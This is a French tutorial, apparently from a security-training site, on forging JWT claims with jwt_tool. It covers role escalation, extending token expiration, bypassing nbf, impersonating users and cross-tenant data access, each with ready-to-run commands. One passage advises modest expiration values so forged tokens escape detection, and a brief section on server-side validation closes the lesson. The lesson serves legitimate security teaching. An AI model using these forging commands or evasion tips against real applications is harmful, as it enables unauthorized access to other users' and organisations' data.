Manipulation des Claims et Attaques Temporelles
Chirurgie de Token : manipuler les claims JWT pour l'escalade de privilèges
Ce que vous allez découvrir
🎯 Pourquoi c'est important
Une fois que vous comprenez comment manipuler les claims JWT, vous détenez les clés d'une des voies les plus directes vers l'escalade de privilèges dans les applications web modernes. Les tokens JWT transportent l'identité et les permissions de l'utilisateur sous forme de données JSON lisibles—et si vous pouvez modifier ces données et re-signer le token, vous pouvez devenir n'importe quel utilisateur avec n'importe quelles permissions. C'est exactement ainsi que les professionnels de la sécurité testent les failles d'autorisation dans les applications réelles.
🔍 Ce que vous allez apprendre
Vous maîtriserez l'art de la chirurgie de token JWT—modifier systématiquement les claims utilisateur comme les rôles et permissions, contourner les contrôles de sécurité temporels en manipulant les dates d'expiration, et forger des tokens qui accordent un accès administrateur. Ce sont les techniques exactes que les pentesters utilisent pour démontrer des vulnérabilités d'autorisation critiques dans les systèmes de production.
🚀 Votre première victoire
En 5 minutes, vous prendrez un token d'utilisateur normal et le transformerez en token admin en utilisant le mode tamper interactif de jwt_tool. Vous verrez exactement comment la manipulation des claims fonctionne en pratique et comprendrez pourquoi une validation côté serveur appropriée est critique pour la sécurité des applications.
🔧 Essayez maintenant
Effectuons une chirurgie de token sur ce JWT exemple pour transformer un utilisateur normal en admin. C'est le processus exact que les consultants en sécurité utilisent pour tester les contrôles d'autorisation.
# Token exemple avec rôle 'user' que nous allons escalader à 'admin'
TOKEN="eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.\
eyJzdWIiOiJoZG5hX3VzZXJfMTIzIiwibmFtZSI6IkpvaG4gRG9lIiwicm9sZSI6InVzZXIiLCJpYXQiOjE2NDA5OTUyMDAsImV4cCI6MTY0MDk5ODgwMH0.\
hackerdna_signature"
# Lancez jwt_tool en mode tamper (édition interactive de token)
python3 jwt_tool.py $TOKEN -T
# JWT_tool lance d'abord le mode tamper interactif
# Vous verrez une interface comme celle-ci :
#
# Valeurs de l'en-tête du token :
# [1] alg = "HS256"
# [2] typ = "JWT"
# [3] *AJOUTER UNE VALEUR*
# [4] *SUPPRIMER UNE VALEUR*
# [0] Continuer à l'étape suivante
#
# Sélectionnez [0] pour continuer vers la section payload
#
# Valeurs du payload du token :
# [1] sub = "hdna_user_123"
# [2] name = "John Doe"
# [3] role = "user" ← Sélectionnez celui-ci
# [4] iat = 1640995200
# [5] exp = 1640998800 ← Et celui-ci
# [6] *AJOUTER UNE VALEUR*
# [7] *SUPPRIMER UNE VALEUR*
# [0] Continuer à l'étape suivante
# Modifier role : user → admin
# Étendre l'expiration : 1640998800 → 1672534800 (1 an plus tard)Vous verrez : L'interface interactive de JWT_tool vous permet de modifier n'importe quel claim avec une précision chirurgicale, puis re-signe automatiquement le token—vous donnant un token admin forgé que les applications accepteront.
Comprendre les claims JWT
Les claims JWT sont des paires clé-valeur qui transportent l'identité et les permissions de l'utilisateur—si vous pouvez les modifier et re-signer le token, vous contrôlez ce que l'application croit sur l'utilisateur
La puissance de la manipulation des claims JWT réside dans la compréhension que les tokens transportent leurs données d'autorisation avec eux. Contrairement à l'authentification basée sur les sessions où les permissions sont stockées côté serveur, les JWT intègrent les rôles et permissions utilisateur directement dans le token. Cette conception les rend incroyablement rapides et évolutifs—mais signifie aussi que quiconque peut forger des tokens valides peut s'accorder n'importe quelles permissions.
Claims standard (RFC 7519)
Claims de la spécification JWT officielle
"sub": "hdna_user_123" // ID utilisateur
"iss": "auth.hackerdna.com" // Émetteur
"aud": "api.hackerdna.com" // Audience
"exp": 1640998800 // Expiration
"nbf": 1640995200 // Pas avant
"iat": 1640995200 // Émis à
"jti": "abc123" // ID JWTClaims personnalisés
Permissions définies par l'application
"role": "admin" // Rôle utilisateur
"permissions": ["read", "write"]
"department": "finance" // Portée d'accès
"is_premium": true // Flags de fonctionnalité
"api_quota": 10000 // Limites de taux
"tenant_id": "company" // Multi-tenantCibles d'attaque
Cibles de manipulation à fort impact
// Escalade de privilèges
"role": "user" → "admin"
"is_admin": false → true
"permissions": [] → ["*"]
// Persistance
"exp": [actuel] → [futur]
"sub": "user" → "admin"Manipulation de token professionnelle avec JWT_Tool
Le mode tamper de JWT_tool fournit le moyen le plus efficace d'effectuer des modifications chirurgicales sur les tokens JWT. Les professionnels de la sécurité du monde entier utilisent cet outil pour les tests d'autorisation car il automatise le travail cryptographique complexe tout en vous donnant un contrôle précis sur chaque claim.
Mode tamper interactif
Le mode tamper vous offre une interface conviviale pour modifier n'importe quelle partie d'un token JWT, gérant automatiquement l'encodage base64 et la génération de signature.
Chirurgie de token étape par étape
# Étape 1 : Lancez le mode tamper avec votre token cible
python3 jwt_tool.py [VOTRE_TOKEN] -T
# Étape 2 : JWT_tool lance le mode tamper interactif
# Vous verrez une interface comme celle-ci :
#
# =============================================
# JWT Original :
# [affiche le token original]
# =============================================
#
# jwttool_[id] - Token modifié :
# [affiche l'état actuel des modifications]
# =============================================
#
# Veuillez sélectionner un numéro de champ du payload à modifier :
# [1] sub
# [2] name
# [3] role
# [4] department
# [5] exp
# [6] Ajouter un nouveau claim
# [0] Continuer à l'étape suivante
# Étape 3 : Faites vos modifications (exemple de session)
# Sélectionnez l'option 3 pour modifier role
# Valeur actuelle de role est : user
# Veuillez entrer la nouvelle valeur et appuyez sur ENTRÉE
# > admin
# Sélectionnez l'option 5 pour modifier l'expiration
# Valeur actuelle de exp est : 1640998800
# Veuillez entrer la nouvelle valeur et appuyez sur ENTRÉE
# > 1672534800 # (1 an plus tard)
# Étape 4 : Choisissez la méthode de signature si le secret est connu
# Sélectionnez [S] Signer le token avec une clé HS256
# Entrez la clé : [VOTRE_SECRET_CONNU]Cette approche interactive vous permet de voir exactement ce que vous changez et de vérifier les résultats—parfait pour l'apprentissage et les tests précis.
Forge de token en ligne de commande
Pour les tests automatisés et les attaques répétées, les paramètres en ligne de commande vous permettent de modifier des claims spécifiques sans invites interactives.
Commandes de modification directe de claims
# Escalade de privilèges : Changer le rôle en admin
python3 jwt_tool.py $TOKEN -S hs256 -p "hackerdna_secret" -I -pc role -pv admin
# Manipulation temporelle : Étendre l'expiration d'1 an (31536000 secondes)
# Extraire l'expiration actuelle du token
PAYLOAD=$(echo $TOKEN | cut -d'.' -f2)
CURRENT_EXP=$(echo "$PAYLOAD====" | base64 -d 2>/dev/null | jq -r '.exp // empty')
NEW_EXP=$((CURRENT_EXP + 31536000))
python3 jwt_tool.py $TOKEN -S hs256 -p "hackerdna_secret" -I -pc exp -pv $NEW_EXP
# Attaque multi-claims : Changer le rôle ET étendre l'expiration
python3 jwt_tool.py $TOKEN -S hs256 -p "hackerdna_secret" -I -pc role -pv admin -pc exp -pv 1672534800
# Escalade de permissions : Ajouter un tableau de permissions admin
python3 jwt_tool.py $TOKEN -S hs256 -p "hackerdna_secret" -I -pc permissions -pv '["read","write","delete","admin"]'
# Usurpation d'utilisateur : Changer l'ID sujet pour cibler l'utilisateur admin
python3 jwt_tool.py $TOKEN -S hs256 -p "hackerdna_secret" -I -pc sub -pv "hdna_admin_001"Ces commandes vous donnent une précision chirurgicale pour des scénarios d'attaque spécifiques tout en maintenant la vitesse nécessaire pour des tests complets.
Techniques d'attaque temporelles
Les claims temporels dans les JWT contrôlent quand les tokens sont valides et qui peut les utiliser. Manipuler ces claims vous permet d'étendre la durée de vie des tokens, de contourner les délais d'activation, et de créer un accès persistant—des techniques critiques pour maintenir un accès à long terme lors des évaluations de sécurité.
Manipulation de l'expiration (exp)
Le claim 'exp' détermine quand un token expire. En étendant ce temps loin dans le futur, vous créez un accès persistant qui survit aux cycles normaux de rafraîchissement de token.
Extension stratégique de l'expiration
# Vérifier le temps d'expiration actuel
echo "[TOKEN_PAYLOAD]" | base64 -d | jq .exp
# Sortie : 1640998800 (expire dans 1 heure)
# Convertir en format lisible (macOS/BSD)
date -r 1640998800
# Sortie : Ven Déc 31 15:00:00 PST 2021
# Ou pour Linux : date -d @1640998800
# Étendre d'1 an (31536000 secondes)
NEW_EXP=$((1640998800 + 31536000))
echo $NEW_EXP # 1672534800
# Forger le token avec l'expiration étendue
python3 jwt_tool.py $TOKEN -S hs256 -p "hackerdna_secret" -I -pc exp -pv $NEW_EXPConseil Pro : extensions réalistes
Définissez des temps d'expiration qui semblent réalistes pour éviter la détection. Au lieu de 100 ans, utilisez 30-90 jours—assez long pour un accès persistant mais pas évidemment malveillant dans les logs de sécurité.
Contournement de Not Before (nbf)
Le claim 'nbf' (pas avant) empêche les tokens d'être utilisés avant un temps spécifique. Les applications l'utilisent pour un accès planifié ou une activation différée—mais vous pouvez le contourner en modifiant l'horodatage.
Attaque d'accès anticipé
# Scénario : Token valide à partir du 1er Janvier 2025
# nbf original : 1735689600 (1er Jan 2025 00:00:00 UTC)
# Heure actuelle : 1640995200 (31 Déc 2021)
# Vérifier l'heure actuelle en timestamp Unix
date +%s
# Sortie : 1640995200 (avant nbf, donc token rejeté)
# Modifier nbf à l'heure actuelle ou avant pour un accès immédiat
CURRENT_TIME=$(date +%s)
python3 jwt_tool.py $TOKEN -S hs256 -p "hackerdna_secret" -I -pc nbf -pv $CURRENT_TIME
# Ou supprimer entièrement le claim nbf
python3 jwt_tool.py $TOKEN -S hs256 -p "hackerdna_secret" -I -pc nbf -pv nullScénarios d'attaque réels
Ces scénarios représentent des patterns d'attaque réels que les professionnels de la sécurité utilisent pour tester les contrôles d'autorisation dans les applications de production. Chacun démontre un aspect différent de la manipulation des claims et son impact réel.
Scénario 1 : l'escalade de rôle classique (5 minutes)
L'attaque la plus courante et à plus fort impact : convertir un token d'utilisateur normal en token administrateur en modifiant le claim role.
Exécution de l'attaque
# Token original (utilisateur normal)
# Payload : {"sub": "hdna_user_789", "name": "John Doe", "role": "user"}
# Étape 1 : Identifier la structure du claim role
echo "[TOKEN_PAYLOAD]" | base64 -d | jq .
# Étape 2 : Modifier role de 'user' à 'admin'
python3 jwt_tool.py $TOKEN -S hs256 -p "secret_decouvert" -I -pc role -pv admin
# Étape 3 : Tester le token forgé contre les endpoints admin
curl -H "Authorization: Bearer [TOKEN_FORGE]" https://<target>/admin/users
# Résultat attendu : Accès accordé aux fonctions administrativesÉvaluation de l'impact
Accès administratif complet à l'application, incluant la gestion des utilisateurs, la configuration système et l'accès aux données sensibles—le même impact obtenu par des attaques d'escalade de privilèges réussies lors d'évaluations de sécurité réelles.
Scénario 2 : accès aux données multi-tenant (10 minutes)
Dans les applications multi-tenant, les tokens JWT contiennent souvent des claims tenant_id qui contrôlent les données de quelle organisation les utilisateurs peuvent accéder. Modifier ce claim accorde l'accès aux données d'autres organisations.
Attaque cross-tenant
# Token original (utilisateur HackerDNA Labs)
# Payload : {"sub": "hdna_user_456", "tenant_id": "hackerdna_labs", "role": "admin"}
# Étape 1 : Énumérer les autres IDs tenant (reconnaissance)
# Méthodes : énumération de sous-domaines, messages d'erreur, informations publiques
# Étape 2 : Modifier tenant_id vers l'organisation cible
python3 jwt_tool.py $TOKEN -S hs256 -p "hackerdna_secret" -I -pc tenant_id -pv hdna_enterprise
# Étape 3 : Accéder aux données de l'organisation cible
curl -H "Authorization: Bearer [TOKEN_FORGE]" https://<target>/api/customers
# Résultat : Accès à la base de données clients de HDNA Enterprise avec les identifiants HackerDNA LabsImpact business critique
Ceci représente une fuite de données catastrophique où une organisation peut accéder aux données sensibles de ses concurrents—une violation qui peut entraîner des pénalités réglementaires, des poursuites judiciaires et une perte totale de la confiance des clients.
Stratégies de détection et de défense
Comprendre les techniques d'attaque vous permet d'implémenter des défenses appropriées. Voici comment les professionnels de la sécurité protègent les applications contre les attaques de manipulation de claims.
Architecture de validation côté serveur
Pattern d'implémentation sécurisée
// SÉCURISÉ : Vérification des permissions côté serveur
function authorizeUserAction(jwt_token, required_permission) {
// Étape 1 : Vérifier la signature JWT et l'expiration
const decoded = jwt.verify(token, SECRET_KEY, {algorithms: ['RS256']});
// Étape 2 : Récupérer les permissions ACTUELLES de l'utilisateur depuis la BDD
const user_permissions = database.getUserPermissions(decoded.sub);
// Étape 3 : Vérifier la permission côté serveur (ne jamais faire confiance aux claims JWT)
if (!user_permissions.includes(required_permission)) {
throw new Error('Permissions insuffisantes');
}
// Étape 4 : Valider les règles métier (isolation tenant, etc.)
if (decoded.tenant_id !== user.tenant_id) {
throw new Error('Accès cross-tenant refusé');
}
return true;
}
// VULNÉRABLE : Faire confiance aux claims JWT sans vérification
function insecureAuthorization(jwt_token) {
const decoded = jwt.decode(token); // Pas de vérification de signature !
if (decoded.role === 'admin') { // Faire confiance aux données fournies par le client !
return grantAdminAccess();
}
}Le principe clé : Les tokens JWT doivent être utilisés pour l'authentification (qui vous êtes) mais jamais pour l'autorisation (ce que vous pouvez faire) sans validation côté serveur.
🎯 Votre expertise en manipulation de claims est complète !
Vous comprenez maintenant la manipulation des claims JWT comme un expert en sécurité. Vous pouvez effectuer des modifications chirurgicales de token pour escalader les privilèges, contourner les contrôles temporels, et forger des tokens qui accordent un accès non autorisé—plus vous savez comment implémenter des défenses côté serveur appropriées qui préviennent ces attaques.
Prêt à appliquer des techniques de sécurité JWT avancées